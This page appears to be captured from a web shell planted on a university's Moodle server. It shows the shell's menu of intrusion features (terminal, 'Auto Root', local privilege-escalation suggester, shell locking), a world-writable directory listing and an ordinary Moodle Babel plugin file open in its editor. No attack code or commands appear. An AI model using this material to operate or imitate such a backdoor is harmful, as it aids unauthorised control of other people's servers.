Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.219.8.51
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
lms /
Delete
Unzip
Name
Size
Permission
Date
Action
.git
[ DIR ]
drwxrwxrwx
2025-04-26 20:19
.github
[ DIR ]
drwxrwxrwx
2024-07-15 18:11
.well-known
[ DIR ]
drwxrwxrwx
2024-07-15 18:12
admin
[ DIR ]
drwxrwxrwx
2024-07-15 18:12
analytics
[ DIR ]
drwxrwxrwx
2025-01-19 14:14
auth
[ DIR ]
drwxrwxrwx
2025-04-26 20:36
availability
[ DIR ]
drwxrwxrwx
2024-09-03 00:58
backup
[ DIR ]
drwxrwxrwx
2024-09-03 00:59
badges
[ DIR ]
drwxrwxrwx
2022-12-30 22:38
blocks
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
blog
[ DIR ]
drwxrwxrwx
2024-12-21 22:49
cache
[ DIR ]
drwxrwxrwx
2024-06-04 22:27
calendar
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
cgi-bin
[ DIR ]
drwxrwxrwx
2022-01-29 12:00
cohort
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
comment
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
competency
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
completion
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
contentbank
[ DIR ]
drwxrwxrwx
2022-12-30 22:39
course
[ DIR ]
drwxrwxrwx
2024-12-23 16:45
customfield
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
dataformat
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
enrol
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
error
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
favourites
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
files
[ DIR ]
drwxrwxrwx
2024-08-31 05:51
filter
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
grade
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
group
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
h5p
[ DIR ]
drwxrwxrwx
2022-12-30 22:30
install
[ DIR ]
drwxrwxrwx
2024-07-15 08:20
iplookup
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
lang
[ DIR ]
drwxrwxrwx
2025-04-20 13:27
lib
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
lms
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
local
[ DIR ]
drwxrwxrwx
2025-04-28 03:26
login
[ DIR ]
drwxrwxrwx
2022-12-30 22:34
media
[ DIR ]
drwxrwxrwx
2024-09-03 01:01
message
[ DIR ]
drwxrwxrwx
2022-12-30 22:34
mnet
[ DIR ]
drwxrwxrwx
2022-12-30 22:34
mod
[ DIR ]
drwxrwxrwx
2024-12-21 12:39
moodle
[ DIR ]
drwxrwxrwx
2025-04-20 13:27
my
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
notes
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
pix
[ DIR ]
drwxrwxrwx
2024-11-13 21:39
plagiarism
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
portfolio
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
privacy
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
question
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
rating
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
report
[ DIR ]
drwxrwxrwx
2024-07-15 18:39
repository
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
rss
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
search
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
site
[ DIR ]
drwxrwxrwx
2025-04-29 20:37
streat
[ DIR ]
drwxrwxrwx
2025-04-21 16:08
tag
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
theme
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
user
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
userpix
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
webservice
[ DIR ]
drwxrwxrwx
2022-12-30 22:37
.eslintignore
2.34
KB
-rw-rw-rw-
2022-01-29 01:17
.eslintrc
7.88
KB
-rw-rw-rw-
2022-01-29 01:17
.gherkin-lintrc
597
B
-rw-rw-rw-
2022-01-29 01:17
.gitattributes
94
B
-rw-rw-rw-
2022-01-29 01:17
.htaccess
1.13
KB
-rw-rw-rw-
2022-12-14 23:12
.jshintignore
16
B
-rw-rw-rw-
2022-01-29 01:17
.jshintrc
1.51
KB
-rw-rw-rw-
2022-01-29 01:17
.nvmrc
9
B
-rw-rw-rw-
2022-01-29 01:17
.shifter.json
67
B
-rw-rw-rw-
2022-01-29 01:17
.stylelintignore
2.38
KB
-rw-rw-rw-
2022-01-29 01:17
.stylelintrc
4.62
KB
-rw-rw-rw-
2022-01-29 01:17
.travis.yml
8.39
KB
-rw-rw-rw-
2022-01-29 01:17
4a818639-0664-1aa9-a73c-e45f1c455aab.html
172
B
-rw-rw-rw-
2022-01-31 17:33
CONTRIBUTING.txt
2.3
KB
-rw-rw-rw-
2022-01-29 01:17
COPYING.txt
34.32
KB
-rw-rw-rw-
2022-01-29 01:17
Gruntfile.js
32.87
KB
-rw-rw-rw-
2022-01-29 01:17
GruntfileComponents.js
6.57
KB
-rw-rw-rw-
2022-01-29 01:17
INSTALL.txt
664
B
-rw-rw-rw-
2022-01-29 01:17
PULL_REQUEST_TEMPLATE.txt
266
B
-rw-rw-rw-
2022-01-29 01:17
README.md
6
B
-rw-rw-rw-
2024-07-16 00:39
README.txt
1.15
KB
-rw-rw-rw-
2022-01-29 01:17
TODO
58
B
-rw-rw-rw-
2022-01-29 01:17
TRADEMARK.txt
2.15
KB
-rw-rw-rw-
2022-01-29 01:17
aef92fee-0842-4a78-2ab2-a8fb256dee2a.html
168
B
-rw-rw-rw-
2022-06-14 22:22
babel-plugin-add-module-to-define.js
8.04
KB
-rw-rw-rw-
2022-01-29 01:17
behat.yml.dist
302
B
-rw-rw-rw-
2022-01-29 01:17
biji.php
0
B
-rw-rw-rw-
2025-04-26 20:35
brokenfile.php
1.13
KB
-rw-rw-rw-
2022-01-29 01:17
composer.json
1.86
KB
-rw-rw-rw-
2022-01-29 01:17
composer.lock
169.28
KB
-rw-rw-rw-
2022-01-29 01:17
config-dist.php
54.01
KB
-rw-rw-rw-
2022-01-29 01:17
config.php
992
B
-rw-rw-rw-
2023-01-11 20:26
draftfile.php
2.53
KB
-rw-rw-rw-
2022-01-29 01:17
file.php
3.78
KB
-rw-rw-rw-
2022-01-29 01:17
githash.php
953
B
-rw-rw-rw-
2022-01-29 03:12
help.php
1.83
KB
-rw-rw-rw-
2022-01-29 01:17
help_ajax.php
1.39
KB
-rw-rw-rw-
2022-01-29 01:17
index.php
4.61
KB
-rw-rw-rw-
2022-01-29 01:17
install.php
25.57
KB
-rw-rw-rw-
2022-01-29 01:17
npm-shrinkwrap.json
356.2
KB
-rw-rw-rw-
2022-01-29 01:17
package.json
1.33
KB
-rw-rw-rw-
2022-01-29 01:17
phpunit.xml.dist
9.83
KB
-rw-rw-rw-
2022-01-29 01:17
pluginfile.php
1.64
KB
-rw-rw-rw-
2022-01-29 01:17
robots.txt
0
B
-rw-rw-rw-
2025-04-29 20:34
security.txt
274
B
-rw-rw-rw-
2022-01-29 01:17
tokenpluginfile.php
1.56
KB
-rw-rw-rw-
2022-01-29 01:17
upgrade.txt
713
B
-rw-rw-rw-
2022-01-31 00:07
version.php
1.6
KB
-rw-rw-rw-
2022-01-29 01:17
Save
Rename
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This is a babel plugin to add the Moodle module names to the AMD modules * as part of the transpiling process. * * In addition it will also add a return statement for the default export if the * module is using default exports. This is a highly specific Moodle thing because * we're transpiling to AMD and none of the existing Babel 7 plugins work correctly. * * This will fix the issue where an ES6 module using "export default Foo" will be * transpiled into an AMD module that returns {default: Foo}; Instead it will now * just simply return Foo. * * Note: This means all other named exports in that module are ignored and won't be * exported. * * @copyright 2018 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ "use strict"; /* eslint-env node */ module.exports = ({template, types}) => { const fs = require('fs'); const path = require('path'); const cwd = process.cwd(); const ComponentList = require(path.resolve('GruntfileComponents.js')); /** * Search the list of components that match the given file name * and return the Moodle component for that file, if found. * * Throw an exception if no matching component is found. * * @throws {Error} * @param {string} searchFileName The file name to look for. * @return {string} Moodle component */ function getModuleNameFromFileName(searchFileName) { searchFileName = fs.realpathSync(searchFileName); const relativeFileName = searchFileName.replace(`${cwd}${path.sep}`, '').replace(/\\/g, '/'); const [componentPath, file] = relativeFileName.split('/amd/src/'); const fileName = file.replace('.js', ''); // Check subsystems first which require an exact match. const componentName = ComponentList.getComponentFromPath(componentPath); if (componentName) { return `${componentName}/${fileName}`; } // This matches the previous PHP behaviour that would throw an exception // if it couldn't parse an AMD file. throw new Error(`Unable to find module name for ${searchFileName} (${componentPath}::${file}}`); } /** * This is heavily inspired by the babel-plugin-add-module-exports plugin. * See: https://github.com/59naga/babel-plugin-add-module-exports * * This is used when we detect a module using "export default Foo;" to make * sure the transpiled code just returns Foo directly rather than an object * with the default property (i.e. {default: Foo}). * * Note: This means that we can't support modules that combine named exports * with a default export. * * @param {String} path * @param {String} exportObjectName */ function addModuleExportsDefaults(path, exportObjectName) { const rootPath = path.findParent(path => { return path.key === 'body' || !path.parentPath; }); // HACK: `path.node.body.push` instead of path.pushContainer(due doesn't work in Plugin.post). // This is hardcoded to work specifically with AMD. rootPath.node.body.push(template(`return ${exportObjectName}.default`)()); } return { pre() { this.seenDefine = false; this.addedReturnForDefaultExport = false; }, visitor: { // Plugin ordering is only respected if we visit the "Program" node. // See: https://babeljs.io/docs/en/plugins.html#plugin-preset-ordering // // We require this to run after the other AMD module transformation so // let's visit the "Program" node. Program: { exit(path) { path.traverse({ CallExpression(path) { // If we find a "define" function call. if (!this.seenDefine && path.get('callee').isIdentifier({name: 'define'})) { // We only want to modify the first instance of define that we find. this.seenDefine = true; // Get the Moodle component for the file being processed. var moduleName = getModuleNameFromFileName(this.file.opts.filename); // The function signature of `define()` is: // define = function (name, deps, callback) {...} // Ensure that if the moduel supplied its own name that it is replaced. if (path.node.arguments.length > 0) { // Ensure that there is only one name. if (path.node.arguments[0].type === 'StringLiteral') { // eslint-disable-next-line console.log(`Replacing module name '${path.node.arguments[0].extra.rawValue}' with ${moduleName}`); path.node.arguments.shift(); } } // Add the module name as the first argument to the define function. path.node.arguments.unshift(types.stringLiteral(moduleName)); // Add a space after the define function in the built file so that previous versions // of Moodle will not try to add the module name to the file when it's being served // by PHP. This forces the regex in PHP to not match for this file. path.node.callee.name = 'define '; } // Check for any Object.defineProperty('exports', 'default') calls. if (!this.addedReturnForDefaultExport && path.get('callee').matchesPattern('Object.defineProperty')) { const [identifier, prop] = path.get('arguments'); const objectName = identifier.get('name').node; const propertyName = prop.get('value').node; if ((objectName === 'exports' || objectName === '_exports') && propertyName === 'default') { addModuleExportsDefaults(path, objectName); this.addedReturnForDefaultExport = true; } } }, AssignmentExpression(path) { // Check for an exports.default assignments. if ( !this.addedReturnForDefaultExport && ( path.get('left').matchesPattern('exports.default') || path.get('left').matchesPattern('_exports.default') ) ) { const objectName = path.get('left.object.name').node; addModuleExportsDefaults(path, objectName); this.addedReturnForDefaultExport = true; } } }, this); } } } }; };